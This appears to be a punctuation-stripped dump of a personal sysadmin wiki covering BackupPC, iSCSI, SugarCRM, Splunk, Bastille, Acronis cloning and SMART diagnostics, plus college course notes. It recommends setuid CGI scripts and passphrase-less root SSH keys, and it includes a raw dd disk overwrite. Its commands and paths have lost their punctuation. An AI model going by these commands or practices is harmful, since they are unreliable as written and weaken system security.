runs as that user using suid this means 1 the backuppc_admin script in the cgi-bin folder must not be on a partition with the nosuid flag set else it can\'t run as that user 2 backuppc_admin must be modified so that it is owned by backuppc and has the su bit set -r-sr-sr-x 1 backuppc backuppc 4 1k dec 3 16 45 backuppc_admin you can do this with chown backuppc backuppc backuppc_admin chmod s backuppc_admin  httpd conf configuration  you must allow overrides in httpd conf for the next section htaccess authentication to function just change these settings in httpd conf allowoverride all scriptalias cgi-bin var www cgi-bin uncomment these if necessary and change as appropriate you can have the cgi-bin directory be anywhere - however it must be owned by by root user or else it will not work the script may be displayed rather than executed etc for example my current var www has cgi-bin in it with the permissions #drwxr-xr-x 2 root site1 4 0k jan 14 05 22 cgi-bin apache updating note if you yum update apache it may change the permission on the cgi-bin folder which will break backup pc pc\'s authentication i updated apache and found it only the backuppc_admin script was then only displayed not executed because of this it was tricky as the httpd conf was identical so posed a bit of a mystery as it appeared that cgi simply stopped working good grief   htaccess authentication  unless you are using the perl module for backuppc you will have to make an htaccess file and configure authentication the htaccess can be placed in the cgi-bin directory where the main backuppc_admin script is placed in my case var www cgi-bin my file looks like this #authgroupfile etc httpd conf group authuserfile etc httpd conf passwd authtype basic authname access require valid-user backuppc you also need to create the password for this user by creating a password file holding the encrypted password that will be authenticated against for example htpasswd -c etc httpd conf passwd backuppc and then type in the password for user backuppc other users may also be added for authentication this same way each person will be able to create and view their own backup job leading to  creating admin user and cgi script errors  by default config pl does not give the user backuppc admin access if you don\'t set this up then when you log in certain options will be missing from the left hand links such as edit config admin option log files and current queues if these are missing you are not and admin user and you may get an error such as only privileged users can to test this attempt to go to yourhost com cgi-bin backuppc_admin action editconfig if you get this error and don\'t see those links as above you do not have admin rights the documentation on this point is at to configure user backuppc to have these rights simple modify etc backuppc config pl changing the cgi user interface configuration settings section # examples # conf cgiadminusergroup \'admin\'; # conf cgiadminusers \'craig celia\'; # -- administrative users are the union of group admin plus # craig and celia # # conf cgiadminusergroup  ; # conf cgiadminusers \'craig celia\'; # -- administrative users are only craig and celia\' # conf cgiadminusergroup  ; conf cgiadminusers \'backuppc\'; remember that you need to restart backuppc using the init script for changes to take effect # etc init d backuppc restart making backups making backups making backups because that is what it it\'s all about the etc backuppc hosts file defines the clients to back up pretty self explanatory adding hosts here once they are here they will show in the host pick list in backuppc the rest of the documentation on using backuppc should take you through using it the only other thing you might need to know is that you will need to set up ssh key verification so that backuppc can connect to the clients using key based authentication - i e no manual password entry the basic procedure for that is nota bena see section below clients on other networks if you are attempting to backup a client that is not addressable by name on the local network  ssh rsa key authentication  create an ssh rsa id key for the user backuppc just become that user and make the key it will be copied to a newly created directory home backuppc ssh on the server root tardis backuppc # su backuppc backuppc tardis pwd home backuppc backuppc tardis ssh-keygen -t rsa generating public private rsa key pair enter passphrase empty for no passphrase just hit enter enter same passphrase again just hit enter your identification has been saved in home backuppc ssh id_rsa your public key has been saved in home backuppc ssh id_rsa pub the key fingerprint is 7c 49 d1 c9 e3 17 de 81 f5 3e d2 fe 5b 3e 24 c1 backuppc tardis timelordz com backuppc tardis the id_rsa pub key created for the backuppc user must be copied to each client client\'s root ssh authorized_keys this allows backuppc to connect to that client as root with no manual password entry required copy this file and append its contents to the authorized_keys file on the client you want to connect to on the server root tardis backuppc # scp home backuppc ssh id_rsa pub root clientserver com root ssh # use the -p  portnumber  argument to specify a different port to use if ssh is not on port 22 and import it on the client with on the client as root cd root ssh touch authorized_keys #if it does not exist already cat root id rsa pub authorized_keys test they key works by connecting as user backuppc to the client system on the server root tardis backuppc # su backuppc backuppc tardis ssh root clientip last login sun mar 23 14 23 18 2008 from 10 8 0 2 callandor # you can see in the above that first we become the backuppc user then ssh to the client and are logging as root the login is accepted no manual password entry required as the id rsa key is already on the client server and we are now connected as root deleting backups deleting backups deleting backups oddly there is no built in method to cleanly delete backups if you simply manually delete them take care and realize subsequent incremental backups depend on earlier full backups if you look you will find a discussion on this topic on the archive mailing list from sourceforge for backuppc for example there i found a handy script by matthias meyer which handles the deletion of backups quite nicely this and other handy things can also be found at extracting files from compressed backups using cli extracting files from compressed backups using cli extracting files from compressed backups using cli so what do you do if your backuppc install is broken the web gui is unavailable and you need to extract your backups anyway no problem although the gui is extremely handy to restore backups there are also command line scripts which will accomplish the same see the documentation for command line restore options - the below is from the 3 1 documentation copied here as it is extremely handy to know command-line restore options apart from the cgi interface backuppc allows you to restore files and directories from the command line the following programs can be used backuppc_zcat for each file name argument it inflates uncompresses the file and writes it to stdout to use backuppc_zcat you could give it the full file name eg __installdir__ bin backuppc_zcat __topdir__ pc host 5 fc fcraig fexample txt example txt it it\'s your responsibility to make sure the file is really compressed backuppc_zcat doesn\'t check which backup the requested file is from backuppc_zcat returns a non-zero status if it fails to uncompress a file backuppc_tarcreate backuppc_tarcreate creates a tar file for any files or directories in a particular backup merging of incrementals is done automatically so you don\'t need to worry about whether certain files appear in the incremental or full backup the usage is backuppc_tarcreate options files directories required options -h host host from which the tar archive is created -n dumpnum dump number from which the tar archive is created a negative number means relative to the end eg -1 means the most recent dump -2 2nd most recent etc -s sharename share name from which the tar archive is created other options -t print summary totals -r pathremove path prefix that will be replaced with pathadd -p pathadd new path prefix -b blocks blocks x 512 bytes per record default 20; same as tar -w writebufsz write buffer size default 1048576 1mb -e charset charset for encoding file names default value of conf clientcharset when backup was done -l just print a file listing; don\'t generate an archive -l just print a detailed file listing; don\'t generate an archive the command-line files and directories are relative to the specified sharename the tar file is written to stdout the -h -n and -s options specify which dump is used to generate the tar archive the -r and -p options can be used to relocate the paths in the tar archive so extracted files can be placed in a location different from their original location backuppc_zipcreate backuppc_zipcreate creates a zip file for any files or directories in a particular backup merging of incrementals is done automatically so you don\'t need to worry about whether certain files appear in the incremental or full backup the usage is backuppc_zipcreate options files directories required options -h host host from which the zip archive is created -n dumpnum dump number from which the tar archive is created a negative number means relative to the end eg -1 means the most recent dump -2 2nd most recent etc -s sharename share name from which the zip archive is created other options -t print summary totals -r pathremove path prefix that will be replaced with pathadd -p pathadd new path prefix -c level compression level default is 0 no compression -e charset charset for encoding file names default cp1252 the command-line files and directories are relative to the specified sharename the zip file is written to stdout the -h -n and -s options specify which dump is used to generate the zip archive the -r and -p options can be used to relocate the paths in the zip archive so extracted files can be placed in a location different from their original location each of these programs reside in __installdir__ bin clients on other networks clients on other networks clients on other networks backuppc needs to find the client system to be backed up by it it\'s netbios or locally addressable name can you ping the name of the client to be backed up if not you have a problem is the client to be backed up across networks or the internet you have a problem one solution to this is to set up a vpn between the backuppc server and the client for example by using openvpn you can pretty easily establish a vpn directly with the client backuppc can then see it as a local network addressable mahcine and thus be able to back it up see openvpn server for tips on how to set up the vpn troubleshooting troubleshooting troubleshooting  localhost backups  there are a few special considerations when having backuppc back up directories on the server itself this might be useful for example to back up the local etc or htdoc folder etc you must set up ssh key authorization for the user backuppc create the rsa_id pub key for this user and copy it to root root\'s ssh authorized_keys files test this make sure you can as user backuppc connect via ssh to localhost and not need to enter a password root tardis # su backuppc backuppc tardis root ssh root localhost last login wed mar 26 17 50 00 from localhost root tardis # tarclientpath bin gtar gtar is likely a symlink to bin tar tarclientcmd sshpath -q -x -n -p 1971 -l root host env lc_all c tarpath -c -v -f - -c sharename --totals 2008-03-25 21 00 03 incr backup started back to 2008-03-13 20 00 03 backup #40 for directory etc 2008-03-25 21 00 06 got fatal error during xfer tar exited with error 65280 status 2008-03-25 21 00 11 backup aborted tar exited with error 65280 status pre  backing up clients over vpn  example rsync command running usr bin ssh -q -x -l root home usr bin rsync --server --sender --numeric-ids --perms --owner --group -d --links --hard-links --times --block-size 2048 --recursive --ignore-times home paracelsus note that port is not specified on the vpn this is not required as ssh is on port 22 but the router has port 1971 forwarded to port 22 '),(45,'backuppc',' '),(46,'iscsi san accounts',' __forcetoc__ login info login info login info see sago wiki adding a customer adding a customer adding a customer 1 add the ip address customer will be connecting from general --- local networks 2 create the volume for storage volumes --- create new volumes volume group external filesystem type iscsi 3 ensure customer customer\'s ip is allowed for this volume volumes -- list of existing volumes click on edit for the volume you want to assign the ip s for important while you can allow multiple ips here for allowing different clients to connect to the same target and while this will appear to work - do not do this it will result in file corruption 4 get the target id for use in configuring client status --- iscsi this and the name of the san nas01 tpa sagonet net are all you need note you do not have to create and groups or users only the above steps are required red hat linux client config red hat linux client config red hat linux client config yum install iscsi-initiator-utils edit the etc iscsi conf to add # -------------------------- # discovery address category # -------------------------- discoveryaddress nas01 tpa sagonet net # -------------------- # target name category # -------------------- targetname iqn 2006-01 com openfiler external client1819-1 #obviously this must match the target for the client from iscsi status page start the daemon with etc init d iscsi restart the drive will now show up as the next available device sdb sdc etc you may now fdisk format and mount it just as though it was a physical local disk debian linux client config debian linux client config debian linux client config apt-get install open-iscsi run the following command after installing open-iscsi iscsiadm -m node -t targetname -p 66 111 32 108 3260 -l #replace targetname with iqn 2006-01 com openfiler external client1819-1 #obviously this must match the target for the client from iscsi status page start the daemon with etc init d open-iscsi restart the drive will now show up as the next available device sdb sdc etc you may now fdisk format and mount it just as though it was a physical local disk firewall info firewall info firewall info you may need to add port 3260 for ingress egress this is the connections it uses root mail init d # netstat -natlp grep 66 111 32 108 tcp 0 0 63 246 155 74 56721 66 111 32 108 3260 established - tcp 0 0 63 246 155 74 56719 66 111 32 108 3260 established 31178 iscsid windows client config windows client config windows client config figure it out and put it in here '),(47,'sugarcrm install and admin notes',' database structure & changes drop down pick list items are not stored in a table they are values in custom include languages en_us lang php blank values are usually not correctly saved as default drop down values mysql tools & syntax mysql tools & syntax mysql tools & syntax great mysql syntax and question sites  copy field from one table to a field in another table   update table_1 inner join table_2 on table_2 user_id table_1 user_send_id set table_1 sender_full_name table2 full_name  to copy all data from one field to another something like   update student_db student client student set student_db student activities client student activities where student_db student unique_key client student unique_key  copy all data from one field to another   update tabel1 set \'field1\' \'field2\' where clause  simple search and replace on a text field   update mytable set mytextfield replace mytextfield \'pattern\' \'replacement\' ;  case sensitive queries   you have to select a collation for the field that is case sensitive oddly the utf8_bin is not apparently for binary data but is however case sensitive select from accounts_cstm where tc_mail_c collate utf8_bin like \'yes\'; select from accounts_cstm where tc_mail_c collate utf8_bin like \' y \'; currently you can build mysqld with option --with-extra-charsets complex --with-experimental-collations and use collation utf8_general_cs  select using keywords or starting with   select from accounts where name like \' keyword \'; select from accounts where name like \' a\'; records starting with a select from accounts_cstm where tc_mail_c collate utf8_bin like \' y \'; for case sensitive keyword search  searching mysql & sugarcrm strings  select from accounts where name like \' by \' order by accounts name asc matches the same results from sugar if you search family name for by importing accounts importing accounts importing accounts yea if it were only that easy ensure that your php ini and bump these setting way way up temporarily for the import max_execution_time 120 ; maximum execution time of each script in seconds max_input_time 180 ; maximum amount of time each script may spend parsing request data memory_limit 500m ; maximum amount of memory a script may consume 8mb also you may need to break up the exported csv file into chunks i was able to import 4 5mb files about 3300 records at a time trying to do them all 9000 just froze sugar an easy way in linux to do this is split -l 3000 filename scv you will need to copy over row 1 from the first file to the subsequent ones so the field mappings are available in all the files verify that any required database fields that are not being mapped are marked as not required otherwise the import will fail each required field must be mapped to an import field so just turn off the required flag for those fields and turn them back on after you can monitor the import by watching sugarcrm log see section on logging enable logging and check to see if you are getting messages such as mon jun 30 16 46 09 2008 915 6926 info sugarcrm - import not imported t&c --- sugarcrm field mapping notes t&c fields sugarcrm fields last name name first nmae primary contact primary address1 local address primary address2 billing address2 secondary address1 permanent address secondary address2 shipping address2  control characters  you do not have to remove quotes from the exported csv input file but should you think you need to #sed \'s g\' datahead10noquote csv then there are some nice k control characters that cause the some fields to bleed together these can be changes with sed -e s k blah sed -e s l file1 file2 make sure you enter ctrl v before typing the letter l ctrl v causes the next character to be interpreted as a control character in this case \' ctrl v l\' shows up as \' l\' you can also use tr tr \' 013\' \' 012\' file out tr \' 013\' \' 012\' chown apache site1 config php chown -r apache site1 modules chown -r apache site1 data chown -r apache site1 custom chown -r apache site1 cache chown -r apache site1 sugarce-upgrade-4 5 1-to-5 0 0a chown -r apache site1 sugarce-upgrade-4 5 1-to-5 0 0a chown -r apache site1 vcard php chown -r apache site1 vcal_server php chown -r apache site1 themes chown -r apache site1 include chown -r apache site1 patch4 5 1g chown -r apache site1 scripts chown -r apache site1 log4php chown -r apache site1 jscalendar chown -r apache site1 install chown -r apache site1 examples chown -r apache site1 moduleinstall chown -r apache site1 soap usefull sugarcrm sites usefull sugarcrm sites usefull sugarcrm sites '),(48,'st pete college compnet as classes',' semester projection counselling and advisement 727 394-6137 electives - pick two of cet 1172c - computer support technician 3 cgs 1100 - microcomputer applications 3 cis 2321 - systems analysis and design 3 man 2340 - human factors in supervision 3 cet 2940 - internship 3  fall   cgs 1060t - online computer competency test is that the same as the computer competency test previously called iskills lis1002 on the report needed test out of 1171c computer repair essentials required test out of cgs-1100 get on internship for cet 2940 take man 2582 - introduction to project management required contemporary project management w 2 cds author kloppenborg edition isbn 9780324382389 193 cgs-1100 bndl ms office 2007 intro concepts techniques prem video-ll author shelly edition isbn 9780495957188 167 or cis 2321 - systems analysis and design  and  cultural anthropology or amh 2010 or euh 1000 etc done humanities class rel-2300 world religions christy davis world world\'s religions isbn 9780205675111 author young edition 3rd 53  test out of   cet 1171c - computer repair essentials req cet 1172c - computer support technician elective credit would complete last 3 needed cts 2106 - fundamentals of the linux unix operating environment not required for cisco but use as an elective man 2582 - introduction to project management completed completed completed  fall  math - mgf 1106 tues thurs evening php mysql cop1842 mon wed evenings c for business cgs-2402 online composition - enc 1101 1121h  spring  financial act acg 2021 - class 1802 - julie anne j adamich-scheblein accounting pkg author kimmel edition isbn 9780470540541 phi 1600 phi 1602h derzypolski thomas w ethics applied edition 6 0 author st pete college edition 5th isbn 9780558054540  other classes  cts 2940 - internship cts 2949 - co-op work experience microcomputer apps cgs 1100 elec managerial act acg 2071 only needed for 4 year transfer woh-2040 or woh-2040h the 20th century was another social science class but appears seldom offered ant-2410 satisfies requirement advanced php & mysql php advanced isbn 9780321376015 author ullman edition 2nd cisco competed cisco competed cisco competed spring term 2006-2007 375 cet 1600 network fundamentals cet 1610 router technology cisco fall term 2007-2008 385 cet 2615 advanced router tech cisco spring term 2007-2008 390 cet 2620 project based learning cisco summer term 2007-2008 395 cet 2660 fund cisco network security i cet 2682 fundmtls voice over ip voip fall term 2008-2009 400 cet 2670 scalable routng protcls&ipv6 b cet 2856 csco sw wireless netwk  changes   cet 2685 - implementing secure converged wans this is now required whereas previously it was cet 2660 fund cisco network security i but then the school could not teach the security class anymore as cedric left honors info honors info honors info what requirements should i meet to graduate with an honors college diploma or certificate a minimum of 18 credit hours of designated honors coursework with a cumulative grade point average of 3 3 or better in each honors course and a cumulative grade point average of 3 3 or above to graduate with an honors college diploma to graduate with an honors college certificate students must meet the above grade point average requirements and complete 11 credit hours of honors coursework resources resources resources - old degree no longer valid substitute end of the above link for quick access to class descriptions the bookstore hours are here general education courses 18 credits general education courses 18 credits general education courses 18 credits enc 1101 - composition i or honors 3 spc 1600 - introduction to speech communication 3 or spc 1600h spc 1016 spc 1060 or spc 1060h humanities fine arts approved course 3 mathematics - one college-level course with a mac map mas mgf mtg or sta prefix 3 mat 1033 intermediate algebra navab saied isbn 978-061865395-9 intermediate algebra an applied approach 7th edition lockwood houghton mifflin - hmco com mac 1105 college algebra - needs mat 1033 intermediate algebra mgf 1106 math for liberal arts - need mat 1033 social & behavioral sciences approved course 3 phi 1631 - studies in professional ethics 3 or phi 1600 phi 1602h phi 2635 or phi 2649 computer information literacy competency requirement support courses 21 credits support courses 21 credits support courses 21 credits acg 2021 - financial accounting 3 full semester - not on-line 28 29 30 2672 cet 1171c - personal systems repair i pc repair i 3 cgs 1263 - local area network concepts 3 full semester - online 268 geb 1011 - introduction to business full semester - classroom or blended hargiss john class# 1771 hargiss kathleen class# 2163 intro to business old class gaspar - 0-547-08312-2 understanding business nickels 8th edition select 9 credits cet 1172c - personal computer systems repair ii 3 cgs 1000 - introduction to computers and programming 3 full semester online - 1368 cgs 1100 - d microcomputer applications 3 john p kurnik looks way easy full semester online walthall mary s - think she may be done now walthall mary spcollege edu ron greenwald could be okay mixed reviews cis 2321 - systems analysis and design 3 full semester online therezita ortiz - gives loads of work cop 2340 - fundamentals of the linux unix operating environment 3 other classes of interest other classes of interest other classes of interest summer 09 classes 1653 cop 1842 developing web sites php mysql 3 lec open 24 6 00pm 8 50pm mw cl-bt 205 05 18 2009 7 24 2009 yourth bradley j cgs 2402 class# 1504 - online programming in c for business westberg darlene m or amy patterson better for westberg class verify for patterson patterson\'s starting out w c from control etc w cd new 123 75 available to order author gaddis edition 6th isbn 9780321545886 class 623 online or class 1888 sp-te 229 blended 05 18 2009 - 07 24 2009 cts 2311 linux unix security using open source tools may not be offered any more books books books books books books books books books mathematics in our world author bluman isbn 9780073311821 ordered accounting pkg author kimmel isbn 9780470540541 christy davis stortz christy spcollege edu world world\'s religions set txt time spec ed w cd author young edition 3rd isbn 9780205675111 '),(49,'oxford english dictionary and wikipedia',' should you trust a wiki for academic research would you trust the oxford english dictionary oed for its accuracy considered the definitive dictionary of the english language it is the final arbiter in definitions etymology and usage yet by its very history and the nature of its compilation it was exceeding similar to a wikipedia the general consensus of responses to this assignment show very unfavorable ideas regarding the use of a wiki as a research tool the primary concerns being 1 it is a compilation of many unverified sources 2 these sources are themselves not academically accredited or verified 3 anyone can add to change or influence the information interestingly enough the compilation of the oed was much the same individuals often anonymous and with no academic credentials sent in tens of thousands of entries along with definitions and examples of the usage of that work in literature as it so turns out a leading contributer to the compilation project was factually a convicted criminal submitting his entries from custody in an insane asylum from the professor and the madman a tale of murder insanity and the making of the oxford english dictionary when the editors of the oxford english dictionary put out a call during the late 19th century pleading for men of letters to provide help with their mammoth undertaking hundreds of responses came forth some helpers like dr w c minor provided literally thousands of entries to the editors but minor an american expatriate in england and a civil war veteran was actually a certified lunatic who turned in his dictionary entries from the broadmoor criminal lunatic asylum simon winchester has produced a mesmerizing coda to the deeply troubled minor minor\'s life a life that in one sense began with the senseless murder of an innocent british brewery worker that the deluded minor believed was an assassin sent by one of his numerous enemies the volunteers contributing to the compilation were not themselves necessarily of literary achievement or recognition yet made decisions which directly influenced the finished work akin to anonymous wiki users determining content despite the above this co-operative compilation project with its tens of thousands of submissions by some known other anonymous and at least one insane person resulted in the creation of the oed described as the accepted authority on the evolution of the english language over the last millennium from using a wiki as a primary or credible source is well established as a bad practice as of course described on they can be a fantastic place to begin research but are not an end to research themselves n b the only links used in this article are wikipedia com and the www oed com - two birds of a feather but of course you should research it for yourself if you like you can view this article and share it with others at '),(50,'splunk log analyzer',' splunk overview splunk is a pretty killer tool that lets you search through whatever logs you specify it essentially creates an indexed database of log entries which you can then search against and analyze additional tools include a time line view of log activity you can zoom in and out out and several other nifty components installation installation installation the install documentation on the official site is so good there is really little to add find the full instructions at in the documentation section you may however want to review the before you install section and understand the option of installing as the root or non-root user there are rpm and deb packages to install from this will be installed as the root user and this makes install a very easy process once installed you may start splunk with opt splunk bin splunk start once started point your browser to and splunk the depths of your server logs where no man may have gone before things to know things to know things to know the free version does not include authentication so once the service is stared anyone who goes to port 8000 will also be able to see you logs you might prevent this with some creative solutions or just turn splunk off when you are doing splunking about or you can turn off the web interface enable ssl etc see the admin section when you log in  important note   you want to install it some place where you are going to have a few gigabytes of space so if you install it in the default opt which perhaps is under root on your system and you have a small root directory you may run out of room easy enough - just make opt splunk a symlink to a directory on a partition you have plenty of room on maybe like home set this up before you install so that your symlink is already in place root tardis opt # pwd opt root tardis opt # ls -lha total 12k lrwxrwxrwx 1 root root 24 dec 19 06 54 splunk - mybigpartition splunk  running as a non-root user  create a user that will run splunk ensure the various splunk folders are accessible to and owned by this user you most likely can just assign ownership of everything to the user splunk with root tardis splunk # chown -r splunk splunk opt splunk test that this user can run splunk sudo -h -u splunk opt splunk bin splunk start you will see that splunk is now running as user splunk and not root root tardis splunk # ps aux grep splunk splunk 14793 0 0 2 2 17272 11460 s 10 43 0 00 python fileserver tools splunk bin twistd --pidfile fileserver tools splunk var run splunk splunkweb pid --python fileserver tools splunk etc splunkweb tac --logfile fileserver tools splunk var log splunk web_access log root 15266 0 0 0 0 1664 444 pts 0 s 10 48 0 00 grep splunk  init d scripts  make splunk run automagically by executing opt splunk bin splunk enable boot-start -user splunk this will make an init script and place it in etc init d however i had trouble with the script properly working so i changed each section as follows splunk_start echo starting splunk # su splunk -c splunk_home bin splunk start # ---- does not pass path right or run sudo -h -u splunk fileserver tools splunk bin splunk start # ---- hard code full path and use sudo instead retval i may have had to do this as i had opt splunk symlinked to fileserver tools splunk and perhaps it couldn\'t read through the symlink correct if you symlink you might want to hard code the path too or experiment in this direction added coolness added coolness added coolness so how do you make it even more cool by adding the splunk toolbar plug in for firefox of course then you can just configure your hosts in the firefox toolbar and be able to search logs on any of your servers lickety split - though make sure you have lickety split 1 2 x installed first configuration configuration configuration so you like to play around with config files for stuff like this eh yea us too however read up on this first for splunk as it is a bit different firstly you will find the configs someplace like opt splunk etc bundles you might want to check out the readme directory there and read up in the admin guide at splunk com for more information on this note splunk 3 0 also allows you to search these config files using splunk itself yea cool command line command line command line access the command line tools via opt splunk bin splunk help opt splunk bin splunk help controls for example to start the web server opt splunk bin splunk start splunkweb '),(51,'bastille server hardening',' bastille how secure is your server while there is no single checklist analysis tool or script that will tell you the answer to this question a good place to start is bastille this free tool is available from this is a great tool to learn more about the areas that are commonly used to exploit systems and assist you in hardening your server the installation instruction are also there it is extremely easy to install but note it does require the perl-curses package to be installed to provide the interface used when run in the shell note as well you can run the x front end and use x forwarding to have this tool forward the gui to the system you are ssh\'ing in from however this may require you to install additional packages on your server it may be easier just to use the shell version it works pretty good analysis mode analysis mode analysis mode a description of this is available at once installed you can run bastille in analysis mode which will generate a txt and html report this is a great way to get a general overview and see where things stand this also provides descriptive information for each of the security points so you can learn more about the nuts and bolts of how that affects you bastille --report this is where to start - review this report and see which things may apply to you you may not need all of these things having a grub password for example is of limited value when your sever is secured in a data center and may just complicate support when you do need it one note the report gets put into var log bastille assessment just move the entire assessment folder to a site or your apache document root to view it you will likely need to chmod -r 744 assessment or 755 it also you will need to chown it to the proper user group for your environment once it is moved and permissions are set pull up the report in a browser and read away you can see what areas can be improved and how critical they are you also can see the overall raw score of how secure you are at the top of the report if you want to be fancy edit assessment assessment-report html to direct it to use the included graphic or use your own for the html challenged you want to include the image source so modify the assessment report like bastille hardening assessment report running bastille running bastille running bastille note is is very unwise to make some of the changes recommended without understanding the implication read the descriptions of what each change does the worst thing is to go through and enable everything with no thought given to how it might affect users etc you might want to run this in a non production environment and experiment with it first then use it on production servers there is an option to restore back to default settings but this should be a last resort scenario - don\'t count on this alone if needed you can revert the changes with bastille -r that said bastille is pretty cool just run it in shell mode with bastille -c it will walk you thorough step by step and provide information on a variety of security points and recomend actions to take the changes are made after you answer all the questions you can then re-run it in analysis mode and see how the score has changed there are additional options available in bastille including creating a config file to perform identical hardening on multiple server etc see the man page and site for more information '),(52,'acronis drive imaging',' what is it acronis can see ext3 filesystems fine and copy them and clone a drive if a drive is failing you may be able to save it unless the drive is too trashed it will read it despite the smart errors why not just use dd cause acronis is way faster also you can make an image and store it you can authenticate to a domain even and store it on a fileserver that one try that with ghost also ghost tends to suck when going from a larger to smaller drive when trying to copy a drive with errors etc using acronis using acronis using acronis the software itself is gui driven and very straight forward to use when the cd boots you select normal or safe mode the only difference is if raid support etc is enabled just use normal to copy a drive you can use acronis true image boot cd 1 hook up a secondary drive on the second ide channel 1a you might want to erase all partitions from this drive before using acronis so it and you see it as blank - just to ensure you choose the right source drive you can erase them by pxe booting typing linux at the first prompt and using the linux boot environment log in with root then use fdisk dev hdx to delete the partitions etc 2 leave the drives hooked up - one on each ide channel 3 boot to the acronis cd 4 you can choose safe or normal mode - won\'t make a difference just use normal 5 the gui is very straight forward choose the options to close copy the entire drive 6 note acronis may hang up for a long time - 10 or 15 and seem like it is not doing anything when it goes to start the copy operation just leave it alone eventually it will fire up and clone the entire disk depending on the amount of data to copy this may take from about 1 - 2 hours it may take less as well once it actually starts you should be able to monitor the progress in the gui if it fails you can still copy the drive using linux boot to ubuntu or to the pxe linux environment and use dd #dd if dev hda of dev hdb grub repair grub repair grub repair you may get a message that the mbr could not be copied and that the target drive will not be bootable you can take these steps to repair grub grub repair a boot into the linux live environment pxe knoppix whatver b run the grub command c type root hd0 0 setup hd0 quit that should fix grub so that it will boot if that does not work you can try using supergrub from the primary pxe boot menu if is input file of is output file - for whatever the drives are fdisk -l will tell you '),(53,'wiki formatting - wiki markup notes','  links   to intra wiki article articlename  font color   important general  formatting    tables   border 1 cellpadding 1 manufacturer - latest bios ver - manufacturer - pxe boots - max cpu specs - type - speed - memory type - memory speed - supports ecc - ranks supported - number ide controllers - number of sata controllers - rnic type - vendor url - bios urls - '),(54,'smart drive diagnostics',' intro all hard drives will eventually fail they are electro-mechanical devices with bearings motors and an armature that moves around a lot the amazing thing is they last as long as they do you should always backup your server server\'s sites or critical information this is extremely easy to do smart allows you to have a good degree of prediction on when the drive will reach its end of life using this just may save you from a catastrophe drive salvage drive salvage drive salvage it is far easier to attempt to copy a drive transfer information from it etc prior to a total drive failure at that point you may be looking at 1 500 to 3 000 for data recovery if you can predict this from occurring so much the better smart drive analysis smart drive analysis smart drive analysis hard drives allow you to monitor various critical attributes which can indicate future drive failure there is a lot of information available on this subject and some of it is rather difficult to decipher for simple application smartclt is the primary command to analyze overall drive health this is installed as yum install smartmontools the official site for this tool is which has information and documentation in order to activate smart on a device use smartctl -s on dev sda note that even if smart is disabled in bios this will activate it on the drive - it is not necessary to also have it on in bios usage is pretty straight forward for example smartctl -a dev sda or dev hda etc as applicable which would return results similar to the following start of information section start of information section start of information section device model wdc wd800bb-00caa1 serial number wd-wma8e4070296 firmware version 17 07w17 user capacity 80 026 361 856 bytes device is in smartctl database for details use -p show ata version is 5 ata standard is exact ata specification draft version not indicated local time is tue dec 18 14 01 28 2007 est smart support is available - device has smart capability smart support is enabled start of read smart data section start of read smart data section start of read smart data section smart overall-health self-assessment test result passed here you can see general information about the drive characteristics and the overall smart health assessment passed however this passed value is based on analysis of the smart attributes described below if one or more of the below attributes passes a manufacturer pre-determined value this changes to fail you should be able to predict this failure well ahead of this value changing to fail - that is what this is all about analyzing smart attributes analyzing smart attributes analyzing smart attributes the is where the intelligent interpretation comes in smartctl -a will return the values of all the criteria monitored by that hard drive manufacturers vary in the specific attributes they support and how they are calculated primary attributes then to be fairly universal though some are more important that others some are general information some are directly related to drive health and life expectancy for example smartctl -a displays id# attribute_name flag value worst thresh type updated when_failed raw_value 1 raw_read_error_rate 0x000b 200 200 051 pre-fail always - 0 3 spin_up_time 0x0007 112 095 021 pre-fail always - 3491 4 start_stop_count 0x0032 100 100 040 old_age always - 177 5 reallocated_sector_ct 0x0033 200 200 140 pre-fail always - 0 7 seek_error_rate 0x000b 200 200 051 pre-fail always - 0 9 power_on_hours 0x0032 050 050 000 old_age always - 36913 10 spin_retry_count 0x0013 100 100 051 pre-fail always - 1 11 calibration_retry_count 0x0013 100 100 051 pre-fail always - 0 12 power_cycle_count 0x0032 100 100 000 old_age always - 156 196 reallocated_event_count 0x0032 200 200 000 old_age always - 0 197 current_pending_sector 0x0012 200 200 000 old_age always - 0 198 offline_uncorrectable 0x0012 200 200 000 old_age always - 0 199 udma_crc_error_count 0x000a 200 253 000 old_age always - 0 200 multi_zone_error_rate 0x0009 200 200 051 pre-fail offline - 0 smart error log version 1 no errors logged now of the above the truly vital attributes to look at are ones such as 9 power_on_hours 0x0032 050 050 000 old_age always - 36913 drive life there are 8 760 hours in a year five years is 43 800 most drive warranties are good for 2 to 5 years in the real world drives over 30 000 to 40 000 are approaching end of life if you see a drive with 30 000 hours and it has other issues it is just time to replace it however this is much a matter of opinion - it could run to 50 000 hours you have to look at the whole picture mtfb one often hears about mean time between failure ratings between failure figures of 200 000 to 500 000 to over a million hours may be quoted by a manufacturer these figures are essentially meaningless let let\'s see one ide drive that has run for 57 years just one that that\'s 500 000 hours 5 reallocated_sector_ct 0x0033 200 200 140 pre-fail always - 0 197 current_pending_sector 0x0012 200 200 000 old_age always - 0 these indicate sectors which have been designated bad and have been or are being moved to good ones it is not uncommon for a drive to have some bad sectors over its life in this case if there are 140 reallocated sectors or more 140 is the threshold value then smart is going to say failure is immanent analyzing smart attributes - scsi analyzing smart attributes - scsi analyzing smart attributes - scsi smartctl documentation for scsi drives can be found at scsi error logs are quite different from ida & sata look under the total uncorrected error column for significant errors also non-media error count can be a guide however this number can be a bit nebulous the total uncorrected errors column is something to watch errors here can indicate poor drive health see sourceforge net above for more info note some newer scsi drives support background scanning currently the scsi drives in the ibms and dell 2850s do not support this i do not know about the sas drives in the newer servers if supported this scan can be started with smartctl --log background scsi sense codes are reported in drive error messages such as 6708 72410001 002a9858 0 7 scsi disk check condition on disk 0 6 5 0 read of logical block 509856 count 128 disk sd45a block 254920 65536 bytes valid 1 error code 0x70 segment number 0x00 filemark 0 eom 0 ili 0 sense key 0x1 recovered error information 0x00 0x07 0xc7 0xe4 additional info on scsi sense codes can be found here smart test smart test smart test you can run a smart test on the drive without taking the server off-line while these tests are not the end-all dignostic they are another layer of analyses and as they don\'t involve down time are a good place to start smartctl -t long dev sda when complete you will see the results in the smart information smart self-test log structure revision number 1 num test_description status remaining lifetime hours lba_of_first_error # 1 short offline completed without error 00 137 - # 2 conveyance offline completed without error 00 738 - # 3 conveyance offline completed without error 00 964 - cpanel smart error reports cpanel smart error reports cpanel smart error reports cpanel will notify you of smart errors however it just reporting it can\'t really tell what is going on thus you can get notifications such as the command that cpanel ran polls the drive for any errors which have occurred on the drive at any time the result show root server admin # usr sbin smartctl -q errorsonly -h -l selftest -l error dev sda please note the following marginal attributes id# attribute_name flag value worst thresh type updated 